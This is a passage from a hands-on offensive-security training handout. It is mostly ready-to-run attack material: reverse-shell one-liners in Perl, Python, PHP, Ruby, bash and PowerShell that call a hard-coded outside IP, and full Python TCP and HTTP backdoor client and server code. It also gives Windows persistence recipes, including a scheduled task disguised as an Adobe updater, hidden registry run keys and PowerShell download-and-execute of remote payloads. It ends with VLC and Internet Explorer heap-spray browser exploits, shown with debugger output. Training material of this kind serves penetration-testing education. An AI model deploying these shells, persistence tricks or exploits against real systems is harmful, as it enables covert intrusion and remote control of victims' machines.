  2626. ****** Note /dev/tcp is usually in Red Hat derivatives and NOT Debian derivatives you want to try /proc/net/tcp instead ***
  2627.  
  2628.  
  2629. ########
  2630. # Perl #
  2631. ########
  2632.  
  2633. ---------------------------Type This-----------------------------------
  2634.  
  2635.  
  2636. perl -e 'use Socket;$i="45.32.211.184";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  2637.  
  2638. ----------------------------------------------------------------------
  2639.  
  2640.  
  2641.  
  2642.  
  2643.  
  2644. ----------------------------------------------------------------------
  2645. cat perlbackdoor.pl
  2646. #!/usr/bin/perl
  2647. use Socket;
  2648. use FileHandle;
  2649. $IP = $ARGV[0];
  2650. $PORT = $ARGV[1];
  2651. socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
  2652. connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
  2653. SOCKET->autoflush();
  2654. open(STDIN, ">&SOCKET");
  2655. open(STDOUT,">&SOCKET");
  2656. open(STDERR,">&SOCKET");
  2657. system("/bin/sh -i");
  2658.  
  2659. ----------------------------------------------------------------------
  2660.  
  2661. ##########
  2662. # Python #
  2663. ##########
  2664.  
  2665. ---------------------------Type This-----------------------------------
  2666.  
  2667. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("45.32.211.184",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  2668.  
  2669. ----------------------------------------------------------------------
  2670.  
  2671.  
  2672.  
  2673. #######
  2674. # Php #
  2675. #######
  2676. ---------------------------Type This-----------------------------------
  2677.  
  2678. php -r '$sock=fsockopen("45.32.211.184",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
  2679.  
  2680. ----------------------------------------------------------------------
  2681.  
  2682.  
  2683.  
  2684. ########
  2685. # ruby #
  2686. ########
  2687. ---------------------------Type This-----------------------------------
  2688.  
  2689. ruby -rsocket -e'f=TCPSocket.open("45.32.211.184",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
  2690.  
  2691. ----------------------------------------------------------------------
  2692.  
  2693.  
  2694. ########
  2695. # Java #
  2696. ########
  2697. ---------------------------Type This-----------------------------------
  2698.  
  2699. r = Runtime.getRuntime()
  2700. p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/45.32.211.184/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
  2701. p.waitFor()
  2702.  
  2703.  
  2704. exec 5<>/dev/tcp/45.32.211.184/1234
  2705.  
  2706.  
  2707. cat <&5 | while read line; do $line 2>&5 >&5; done
  2708.  
  2709. exec 5<>/dev/tcp/45.32.211.184/1234
  2710.  
  2711. while read line 0<&5; do $line 2>&5 >&5; done
  2712. 0<&196;exec 196<>/dev/tcp/45.32.211.184/1234; sh <&196 >&196 2>&196
  2713.  
  2714. ----------------------------------------------------------------------
  2715. ****** Note /dev/tcp is usually in Red Hat derivatives and NOT Debian derivatives you want to try /proc/net/tcp instead ***
  2716.  
  2717.  
  2718.  
  2719.  
  2720.  
  2721.  
  2722.  
  2723.  
  2724. ##############
  2725. # Powershell #
  2726. ##############
  2727. ---------------------------Type This-----------------------------------
  2728.  
  2729. powershell -command "function ReverseShellClean {if ($client.Connected -eq $true) {$client.Close()}; if ($process.ExitCode -ne $null) {$process.Close()}; exit; };$address = '45.32.211.184'; $port = '1234';$client = New-Object system.net.sockets.tcpclient; $client.connect($address,$port) ;$stream = $client.GetStream();$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize ;$process = New-Object System.Diagnostics.Process ;$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe' ;$process.StartInfo.RedirectStandardInput = 1 ;$process.StartInfo.RedirectStandardOutput = 1;$process.StartInfo.UseShellExecute = 0 ;$process.Start() ;$inputstream = $process.StandardInput ;$outputstream = $process.StandardOutput ;Start-Sleep 1 ;$encoding = new-object System.Text.AsciiEncoding ;while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())};$stream.Write($encoding.GetBytes($out),0,$out.Length) ;$out = $null; $done = $false; $testing = 0; ;while (-not $done) {if ($client.Connected -ne $true) {cleanup} ;$pos = 0; $i = 1; while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) { $read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos); $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}} ;if ($pos -gt 0){ $string = $encoding.GetString($networkbuffer,0,$pos); $inputstream.write($string); start-sleep 1; if ($process.ExitCode -ne $null) {ReverseShellClean}else { $out = $encoding.GetString($outputstream.Read()); while($outputstream.Peek() -ne -1){; $out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}}; $stream.Write($encoding.GetBytes($out),0,$out.length); $out = $null; $string = $null}} else {ReverseShellClean}};"
  2730.  
  2731.  
  2732. ----------------------------------------------------------------------
  2733.  
  2734. **** This shell has been VERY VERY VERY flaky for me - maybe you can figure out what is wrong *****
  2735.  
  2736.  
  2737. ###############################
  2738. # Reverse Shell in Python 2.7 #
  2739. ###############################
  2740.  
  2741. We'll create 2 python files. One for the server and one for the client.
  2742.  
  2743. - Below is the python code that is running on victim/client Windows machine:
  2744.  
  2745. ---------------------------Paste This-----------------------------------
  2746.  
  2747. # Client
  2748.  
  2749. import socket # For Building TCP Connection
  2750. import subprocess # To start the shell in the system
  2751.  
  2752. def connect():
  2753. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2754. s.connect(('45.32.211.184',8080))
  2755.  
  2756. while True: #keep receiving commands
  2757. command = s.recv(1024)
  2758.  
  2759. if 'terminate' in command:
  2760. s.close() #close the socket
  2761. break
  2762.  
  2763. else:
  2764.  
  2765. CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  2766. s.send( CMD.stdout.read() ) # send the result
  2767. s.send( CMD.stderr.read() ) # incase you mistyped a command.
  2768. # we will send back the error
  2769.  
  2770. def main ():
  2771. connect()
  2772. main()
  2773.  
  2774.  
  2775. ----------------------------------------------------------------------
  2776.  
  2777. - Below is the code that we should run on server unit, in our case InfosecAddicts Ubuntu machine ( Ubuntu IP: 45.32.211.184 )
  2778.  
  2779. ---------------------------Paste This-----------------------------------
  2780.  
  2781. # Server
  2782.  
  2783. import socket # For Building TCP Connection
  2784.  
  2785.  
  2786. def connect ():
  2787.  
  2788. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2789. s.bind(("45.32.211.184", 8080))
  2790. s.listen(1)
  2791. conn, addr = s.accept()
  2792. print '[+] We got a connection from: ', addr
  2793.  
  2794.  
  2795. while True:
  2796. command = raw_input("Shell> ")
  2797.  
  2798. if 'terminate' in command:
  2799. conn.send('termminate')
  2800. conn.close() # close the connection with host
  2801. break
  2802.  
  2803. else:
  2804. conn.send(command) #send command
  2805. print conn.recv(1024)
  2806.  
  2807. def main ():
  2808. connect()
  2809. main()
  2810.  
  2811. ----------------------------------------------------------------------
  2812.  
  2813. - First run server.py code from Ubuntu machine. From command line type:
  2814.  
  2815. ---------------------------Type This-----------------------------------
  2816.  
  2817. python server.py
  2818.  
  2819. ----------------------------------------------------------------------
  2820.  
  2821. - then check if 8080 port is open, and if we are listening on 8080:
  2822.  
  2823. ---------------------------Type This-----------------------------------
  2824.  
  2825. netstat -antp | grep "8080"
  2826.  
  2827. ----------------------------------------------------------------------
  2828.  
  2829. - Then on victim ( Windows ) unit run client.py code.
  2830.  
  2831.  
  2832. - Connection will be established, and you will get a shell on Ubuntu:
  2833.  
  2834. ---------------------------Type This-----------------------------------
  2835.  
  2836. python server.py
  2837. [+] We got a connection from: ('192.168.243.1', 56880)
  2838. Shell> arp -a
  2839.  
  2840. Shell> ipconfig
  2841.  
  2842. Shell> dir
  2843. ----------------------------------------------------------------------
  2844.  
  2845.  
  2846. ##########################################
  2847. # HTTP based reverse shell in Python 2.7 #
  2848. ##########################################
  2849.  
  2850.  
  2851. - The easiest way to install python modules and keep them up-to-date is with a Python-based package manager called Pip
  2852. - Download get-pip.py from https://bootstrap.pypa.io/get-pip.py on your Windows machine
  2853.  
  2854. Then run python get-pip.py from command line. Once pip is installed you may use it to install packages.
  2855.  
  2856. - Install requests package:
  2857. ---------------------------Type This-----------------------------------
  2858.  
  2859. python -m pip install requests
  2860.  
  2861. ----------------------------------------------------------------------
  2862.  
  2863. - Copy and paste below code into client_http.py on your Windows machine:
  2864.  
  2865. - In my case server/ubuntu IP is 45.32.211.184. You need to change IP to your server address, in both codes (client_http.py, server_HTTP.py)
  2866.  
  2867. ---------------------------Paste This-----------------------------------
  2868. # Client
  2869.  
  2870. import requests
  2871. import subprocess
  2872. import time
  2873.  
  2874.  
  2875. while True:
  2876. req = requests.get('http://45.32.211.184')
  2877. command = req.text
  2878.  
  2879. if 'terminate' in command:
  2880. break
  2881.  
  2882. else:
  2883. CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  2884. post_response = requests.post(url='http://45.32.211.184', data=CMD.stdout.read() )
  2885. post_response = requests.post(url='http://45.32.211.184', data=CMD.stderr.read() )
  2886.  
  2887. time.sleep(3)
  2888.  
  2889.  
  2890.  
  2891.  
  2892. ----------------------------------------------------------------------
  2893.  
  2894.  
  2895.  
  2896. - Copy and paste below code into server_HTTP.py on your Ubuntu unit (server):
  2897.  
  2898.  
  2899. ---------------------------Paste This-----------------------------------
  2900.  
  2901. import BaseHTTPServer
  2902. HOST_NAME = '45.32.211.184'
  2903. PORT_NUMBER = 80
  2904. class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
  2905.  
  2906. def do_GET(s):
  2907. command = raw_input("Shell> ")
  2908. s.send_response(200)
  2909. s.send_header("Content-type", "text/html")
  2910. s.end_headers()
  2911. s.wfile.write(command)
  2912.  
  2913.  
  2914. def do_POST(s):
  2915. s.send_response(200)
  2916. s.end_headers()
  2917. length = int(s.headers['Content-Length'])
  2918. postVar = s.rfile.read(length)
  2919. print postVar
  2920.  
  2921. if __name__ == '__main__':
  2922. server_class = BaseHTTPServer.HTTPServer
  2923. httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
  2924.  
  2925. try:
  2926. httpd.serve_forever()
  2927. except KeyboardInterrupt:
  2928. print'[!] Server is terminated'
  2929. httpd.server_close()
  2930.  
  2931. ----------------------------------------------------------------------
  2932.  
  2933. - run server_HTTP.py on Ubuntu with next command:
  2934.  
  2935. ---------------------------Type This-----------------------------------
  2936.  
  2937. sudo python server_HTTP.py
  2938.  
  2939. ----------------------------------------------------------------------
  2940.  
  2941.  
  2942. - on Windows machine run client_http.py
  2943.  
  2944. - on Ubuntu you will see that connection is established:
  2945.  
  2946. ---------------------------Type This-----------------------------------
  2947.  
  2948. sudo python server_HTTP.py
  2949. Shell> dir
  2950. -----------------------------------------------------------------------
  2951.  
  2952.  
  2953.  
  2954.  
  2955.  
  2956.  
  2957. ###############################
  2958. # Device Guard Check & Bypass #
  2959. ###############################
  2960. https://github.com/SadProcessor/SomeStuff/blob/master/Invoke-OSiRis.ps1
  2961.  
  2962.  
  2963. ######################
  2964. # EDR Check & Bypass #
  2965. ######################
  2966. https://github.com/SadProcessor/SomeStuff/blob/master/Invoke-EDRCheck.ps1
  2967.  
  2968.  
  2969.  
  2970.  
  2971. ###############
  2972. # Persistance #
  2973. ###############
  2974.  
  2975.  
  2976. ---- Scheduled Task Based Persistance ----
  2977. 1. Scheduled task based on most commonly occuring event ID
  2978. https://github.com/TestingPens/MalwarePersistenceScripts/blob/master/user_event_persistence.ps1
  2979.  
  2980.  
  2981.  
  2982. To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.
  2983.  
  2984. ---------------------------Type This-----------------------------------
  2985. mkdir c:\persistance
  2986.  
  2987. cd c:\persistance
  2988.  
  2989. (new-object System.Net.WebClient).DownloadFile("https://github.com/TestingPens/MalwarePersistenceScripts/blob/master/user_event_persistence.ps1", "c:\persistance\user_event_persistence.ps1")
  2990.  
  2991. .\user_event_persistence.ps1
  2992. -------------------------------------------------------------------------
  2993.  
  2994.  
  2995.  
  2996. - Alternative method:
  2997. --------------------
  2998. In this case we will not be running PowerShell. We create a scheduled task definition file called "Adobe Flash Player Updater.xml"
  2999.  
  3000. - Copy and paste the code below into the "Adobe Flash Player Updater.xml" definition file on target machine:
  3001. - adapt <UserId></UserId> to SID of current user if you do not have administrative privileges (wmic useraccount where name='user' get sid)
  3002. - adapt <Command>C:\Windows\System32\calc.exe</Command> to your reverse shell executable
  3003. - this scheduled task triggers on a event, can be changed to regular calls (e.g. once an hour)
  3004.  
  3005. --------------------------------
  3006. <?xml version="1.0" encoding="UTF-16"?>
  3007. <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  3008. <RegistrationInfo>
  3009. <Author>Adobe Systems Incorporated</Author>
  3010. <Description>This task keeps your Adobe Flash Player installation up to date with the latest enhancements and security fixes. If this task is disabled or removed, Adobe Flash Player will be unable to automatically secure your machine with the latest security fixes.</Description>
  3011. </RegistrationInfo>
  3012. <Triggers>
  3013. <EventTrigger>
  3014. <Enabled>true</Enabled>
  3015. <Subscription>&lt;QueryList&gt;&lt;Query Id="0" Path="Application"&gt;&lt;Select Path="Application"&gt;*[System[EventID=15]]&lt;/Select&gt;&lt;/Query&gt;&lt;/QueryList&gt;</Subscription>
  3016. </EventTrigger>
  3017. </Triggers>
  3018. <Principals>
  3019. <Principal id="Author">
  3020. <UserId>S-1-5-18</UserId>
  3021. <RunLevel>LeastPrivilege</RunLevel>
  3022. </Principal>
  3023. </Principals>
  3024. <Settings>
  3025. <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
  3026. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
  3027. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
  3028. <AllowHardTerminate>true</AllowHardTerminate>
  3029. <StartWhenAvailable>true</StartWhenAvailable>
  3030. <RunOnlyIfNetworkAvailable>true</RunOnlyIfNetworkAvailable>
  3031. <IdleSettings>
  3032. <StopOnIdleEnd>true</StopOnIdleEnd>
  3033. <RestartOnIdle>false</RestartOnIdle>
  3034. </IdleSettings>
  3035. <AllowStartOnDemand>true</AllowStartOnDemand>
  3036. <Enabled>true</Enabled>
  3037. <Hidden>true</Hidden>
  3038. <RunOnlyIfIdle>false</RunOnlyIfIdle>
  3039. <WakeToRun>false</WakeToRun>
  3040. <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
  3041. <Priority>7</Priority>
  3042. </Settings>
  3043. <Actions Context="Author">
  3044. <Exec>
  3045. <Command>C:\Windows\System32\calc.exe</Command>
  3046. </Exec>
  3047. </Actions>
  3048. </Task>
  3049.  
  3050. ---------------------------
  3051.  
  3052. Now let's create the scheduled task
  3053. ---------------------------Type This-----------------------------------
  3054. schtasks /create /tn "Adobe Updater" /xml "Adobe Flash Player Updater.xml"
  3055. -----------------------------------------------------------------------
  3056.  
  3057.  
  3058. Sit back and wait for the task to trigger. By the way we got the correct XML file format by creating a scheduled tasked and exporting it to an XML file. Then we were able to make some trivial changes to the file and import it.
  3059.  
  3060.  
  3061.  
  3062.  
  3063. ---- Registry Based Persistance ---
  3064. 1. RunOnce key persistance trick
  3065. Reference:
  3066. https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
  3067.  
  3068.  
  3069.  
  3070. 1. upload your executable to system
  3071. 2. add registry entry (requires admin privileges):
  3072. reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001 /v "Line1" /d "||c:\path\to\malicious.exe"
  3073.  
  3074. Note:
  3075. Beacon/Shell may prevent the user to login as he is hanging in the Beacon executable. Solution: spawn new beacon and exit initial beacon.
  3076.  
  3077.  
  3078.  
  3079.  
  3080.  
  3081. 2. GLOBALFLAGS IN IMAGE FILE EXECUTION OPTIONS
  3082. Let's try this:
  3083. https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
  3084.  
  3085.  
  3086. 2. Hide Reg
  3087. Let's try this code out:
  3088. https://gist.github.com/brianreitz/feb4e14bd45dd2e4394c225b17df5741
  3089.  
  3090. Reference:
  3091. https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353
  3092.  
  3093.  
  3094.  
  3095.  
  3096. Get the following two files
  3097. ---------------------------
  3098. https://raw.githubusercontent.com/jaredcatkinson/PSReflect-Functions/master/PSReflect.ps1
  3099. https://gist.githubusercontent.com/brianreitz/feb4e14bd45dd2e4394c225b17df5741/raw/8f77b5e2f1952299f3a2dca0ef6c9266fe3e7b08/PSReflect-RegHide.ps1
  3100.  
  3101. In "PSReflect-RegHide.ps1" line 126, you can specify which command will be executed upon reboot (ex: 'cmd /c calc.exe'). It will be invisible for regedit and powershell.
  3102.  
  3103. To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.
  3104.  
  3105. ---------------------------Type This-----------------------------------
  3106. mkdir c:\persistance
  3107.  
  3108. cd c:\persistance
  3109.  
  3110. (new-object System.Net.WebClient).DownloadFile("https://raw.githubusercontent.com/jaredcatkinson/PSReflect-Functions/master/PSReflect.ps1", "c:\persistance\PSReflect.ps1")
  3111.  
  3112. (new-object System.Net.WebClient).DownloadFile("https://gist.githubusercontent.com/brianreitz/feb4e14bd45dd2e4394c225b17df5741/raw/8f77b5e2f1952299f3a2dca0ef6c9266fe3e7b08/PSReflect-RegHide.ps1", "c:\persistance\PSReflect-RegHide.ps1")
  3113.  
  3114. .\PSReflect-RegHide.ps1
  3115. -------------------------------------------------------------------------
  3116.  
  3117.  
  3118.  
  3119. Now, let's check to see if the newly created registry value is hidden. You can do this by typing the following:
  3120. ---------------------------Type This-----------------------------------
  3121. reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  3122. Get-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
  3123. -----------------------------------------------------------------------
  3124. However, it will be visible e.g. for Sysinternals Autorun tool
  3125.  
  3126.  
  3127.  
  3128. 3. VShadow
  3129. Let's try this out:
  3130. https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-evasion-persistence-and-active-directory-database-extraction/
  3131.  
  3132.  
  3133.  
  3134. 1. Download vshadow.exe including in the WinSDK
  3135. Windows 7: https://www.microsoft.com/en-us/download/details.aspx?id=8279
  3136. Windows 10: https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk
  3137. 2. Upload the vshadow.exe to the target machine
  3138. 3. Choose an arbitrary persistence mechanism to start vshadow.exe (e.g. Reg Key: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VSSBackup /t REG_EXPAND_SZ /d "C:\Temp\vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:")
  3139.  
  3140.  
  3141. ---------------------------Type This-----------------------------------
  3142. mkdir c:\persistance
  3143.  
  3144. cd c:\persistance
  3145.  
  3146. (new-object System.Net.WebClient).DownloadFile("http://45.63.104.73/win10_vshadow_x64.exe", "c:\persistance\vshadow.exe")
  3147.  
  3148. reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VSSBackup /t REG_EXPAND_SZ /d "c:\persistance\vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:"
  3149. -----------------------------------------------------------------------
  3150.  
  3151.  
  3152. 4. INF-SCT
  3153. Let's try this out:
  3154. https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/
  3155. https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
  3156.  
  3157.  
  3158. Technique 1: CMSTP
  3159. ------------------
  3160. create "c:\persistance\cmstp.inf" with the following content:
  3161. -----------------------------------
  3162. ;cmstp.exe cmstp.inf
  3163.  
  3164. [version]
  3165. Signature=$chicago$
  3166. AdvancedINF=2.5
  3167.  
  3168. [DefaultInstall_SingleUser]
  3169. UnRegisterOCXs=UnRegisterOCXSection
  3170.  
  3171. [UnRegisterOCXSection]
  3172. %11%\scrobj.dll,NI,c:\persistance\test.sct
  3173.  
  3174. [Strings]
  3175. AppAct = "SOFTWARE\Microsoft\Connection Manager"
  3176. ServiceName="Yay"
  3177. ShortSvcName="Yay"
  3178. ----------------------------------------------------
  3179.  
  3180.  
  3181.  
  3182. get a sample sct payload (e.g. https://gist.github.com/bohops/6ded40c4989c673f2e30b9a6c1985019) and store it in "c:\persistance\test.sct"
  3183.  
  3184.  
  3185. ---------------------------Type This-----------------------------------
  3186. mkdir c:\persistance
  3187.  
  3188. cd c:\persistance
  3189.  
  3190. (new-object System.Net.WebClient).DownloadFile("https://gist.github.com/bohops/6ded40c4989c673f2e30b9a6c1985019", "c:\persistance\test.sct")
  3191.  
  3192. reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v oemkey /t reg_sz /d "\"C:\Windows\System32\cmstp.exe\" /s C:\persistance\cmstp.inf"
  3193. -----------------------------------------------------------------------
  3194.  
  3195.  
  3196. reboot your machine
  3197. your sct payload will be executed upon reboot. HOWEVER, as a Windows binary executes it, Sysinternals Autorun tool will not show it, unless you untick "Options->Hide Windows Entries" option
  3198.  
  3199.  
  3200.  
  3201. 5. GPScript.exe
  3202. Let's try this out:
  3203. https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/
  3204.  
  3205.  
  3206.  
  3207. ---- Cobalt Strike Agressor Persistance Scripts ----
  3208. https://github.com/Und3rf10w/Aggressor-scripts/blob/master/kits/PersistKit/PersistKit.cna
  3209. https://github.com/harleyQu1nn/AggressorScripts/blob/master/Persistence/UserSchtasksPersist.cna
  3210. https://github.com/harleyQu1nn/AggressorScripts/blob/master/Persistence/ServiceEXEPersist.cna
  3211.  
  3212.  
  3213.  
  3214.  
  3215.  
  3216.  
  3217.  
  3218.  
  3219.  
  3220. --------------------------------------------------------------------------------------------------------------------------
  3221.  
  3222.  
  3223. ####################
  3224. # Browser Exploits #
  3225. ####################
  3226.  
  3227. VLC smb:// exploit
  3228. ------------------
  3229.  
  3230. EXPLOIT VECTOR
  3231.  
  3232. smb://[email protected]/foo/#{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}
  3233.  
  3234. Exploit Scripts
  3235. - ffvlc
  3236.  
  3237. ON YOUR HOST, RUN THE WEBSERVER ON PORT 8080
  3238.  
  3239. perl daemon.py vlc0.html
  3240.  
  3241. ON YOUR XPIE8 VM, START FIREFOX
  3242. Browse to http://your_host_ip_address:8080/
  3243.  
  3244. vlc0.html
  3245. ---------
  3246. <script>
  3247. var buf = "";
  3248. for(i = 0; i < 1250; i++)
  3249. buf += unescape("%41%41%41%41");
  3250. var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
  3251. document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
  3252. </script>
  3253.  
  3254. vlc1.html
  3255. ---------
  3256. <script>
  3257.  
  3258. // shellcode created in heap memory
  3259. var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
  3260.  
  3261. // 800K block of NOPS
  3262. var nop = unescape("%u9090%u09090"); // 4 NOPS
  3263. while(nop.length < 0xc0000) {
  3264. nop += nop;
  3265. }
  3266.  
  3267. // spray the heap with NOP+shellcode
  3268. var memory = new Array();
  3269. for(i = 0; i < 50; i++) {
  3270. memory[i] = nop + shellcode;
  3271. }
  3272.  
  3273. // build the exploit payload
  3274. var buf = "";
  3275. for(i = 0; i < 1250; i++)
  3276. buf += unescape("%41%41%41%41");
  3277. var track = "smb://example.com\@0.0.0.0/foo/#{" + buf + "}";
  3278.  
  3279. // trigger the exploit
  3280. document.write("<embed type='application/x-vlc-plugin' target='" + track + "' />");
  3281. </script>
  3282.  
  3283. perl daemon.py vlc1.html
  3284.  
  3285. Search for where our NOPS+shellcode lies in the heap
  3286.  
  3287. s 0 l fffffff 90 90 90 90 cc cc cc cc
  3288.  
  3289. 0:019> s 0 l fffffff 90 90 90 90 cc cc cc cc
  3290. 03dffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  3291. 040ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  3292. 043ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  3293. 046ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  3294. 049ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  3295. 04cffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  3296. 04fffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  3297. 052ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  3298. 055ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  3299. 058ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  3300. 05bffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  3301. 05effffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  3302. 061ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  3303. 064ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  3304. 067ffffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  3305. 06affffc 90 90 90 90 cc cc cc cc-cc cc cc cc cc cc cc cc ................
  3306.  
  3307. Edit vlc2.html
  3308. replace %41%41%41%41 with %07%07%07%07
  3309.  
  3310. (928.fd0): Break instruction exception - code 80000003 (first chance)
  3311. eax=fffffd66 ebx=07070707 ecx=77c2c2e3 edx=00340000 esi=07070707 edi=07070707
  3312. eip=07100000 esp=0e7afc58 ebp=07070707 iopl=0 nv up ei pl nz ac pe nc
  3313. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
  3314. 07100000 cc int 3
  3315. 0:019> u
  3316. 07100000 cc int 3
  3317. 07100001 cc int 3
  3318. 07100002 cc int 3
  3319. 07100003 cc int 3
  3320. 07100004 cc int 3
  3321. 07100005 cc int 3
  3322. 07100006 cc int 3
  3323. 07100007 cc int 3
  3324.  
  3325. Create vlc3.html (Copy vlc2.html to vlc3.html)
  3326. ----------------------------------------------
  3327. Win32 Reverse Shell
  3328. - no restricted characters
  3329. - Encoder NONE
  3330. - use the Javascript encoded payload generated by msfweb
  3331.  
  3332. USE AFTER FREE
  3333. --------------
  3334.  
  3335. struct {
  3336. int a;
  3337. int b;
  3338. void (*add)();
  3339. char c[20];
  3340. } s1, s2;
  3341.  
  3342. s1.a = 3;
  3343. s1.b = 4;
  3344. s1.add = my_add_func();
  3345. strcpy(s1.c, "AAAAAAAAAAAAAAAAAAAAAAAAAAAA");
  3346. :
  3347. :
  3348. s2.add(x, y);
  3349. :
  3350.  
  3351. Exploit scripts
  3352. ie7-ms09002
  3353.  
  3354. perl daemon.py ie7imgtag0.html
  3355.  
  3356. First chance exceptions are reported before any exception handling.
  3357. This exception may be expected and handled.
  3358. eax=025445a0 ebx=00000000 ecx=4141ffff edx=00000002 esi=02545678 edi=80020003
  3359. eip=7e8999cb esp=01e8f68c ebp=01e8f694 iopl=0 nv up ei pl nz na po nc
  3360. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
  3361. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Internet Explorer Collection\IE700\mshtml.dll -
  3362. mshtml!DllGetClassObject+0x4ec28:
  3363. 7e8999cb ff5104 call dword ptr [ecx+4] ds:0023:41420003=????????
  3364.  
  3365. WHENEVER YOU HAVE A CRASH WHERE YOU FAULT ON:
  3366.  
  3367. call dword ptr [reg + N]
  3368.  
  3369. You control the reg value (completely or partially)
  3370.  
  3371. You have an exploitable vtable overwrite.
  3372.  
  3373. u eip-3 <--- check 3 instructions before the crash
  3374. 0:005> u eip-3
  3375. mshtml!DllGetClassObject+0x4ec25:
  3376. 7e8999c8 8b08 mov ecx,dword ptr [eax]
  3377. 7e8999ca 50 push eax
  3378. 7e8999cb ff5104 call dword ptr [ecx+4]
  3379.  
  3380. dd eax
  3381. 0:005> dd eax
